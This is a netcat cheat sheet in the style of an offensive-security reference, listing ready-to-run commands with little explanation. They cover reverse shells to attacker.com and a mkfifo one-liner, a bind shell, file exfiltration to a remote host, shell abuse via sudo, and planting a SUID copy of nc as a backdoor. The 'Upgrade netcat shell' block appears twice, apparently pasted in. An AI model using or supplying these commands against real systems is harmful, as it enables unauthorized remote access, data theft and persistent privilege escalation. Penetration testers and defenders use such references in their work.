.. / nc

Reverse shell

It can send back a shell to an attacker giving unauthorized remote shell access.

Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.
```
RHOST=attacker.com
RPORT=12345
nc -e /bin/sh $RHOST $RPORT
```

Upgrade netcat shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YourIP> 4444 >/tmp/f
python -c 'import pty;pty.spawn("/bin/bash")'
# Background the session with CTRL + Z
stty raw -echo
fg
export TERM=screen

File download

A binary with download capabilities.

Fetch a remote file via TCP. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file.
```
LPORT=12345
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
```

Bind shell

binds to a certain port on the victim’s machine.

Run nc target.com 12345 on the attacker box to connect to the shell. This only works with netcat traditional.
```
LPORT=12345
nc -l -p $LPORT -e /bin/sh
```

Upgrade netcat shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YourIP> 4444 >/tmp/f
python -c 'import pty;pty.spawn("/bin/bash")'
# Background the session with CTRL + Z
stty raw -echo
fg
export TERM=screen

File upload

It can exfiltrate files on the victim’s machine.

Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.
```
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.
```
RHOST=attacker.com
RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT
```

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.

Run nc -l -p 12345 on the attacker box to receive the shell. This only works with netcat traditional.

sudo sh -c 'cp $(which nc) .; chmod +s ./nc'

RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT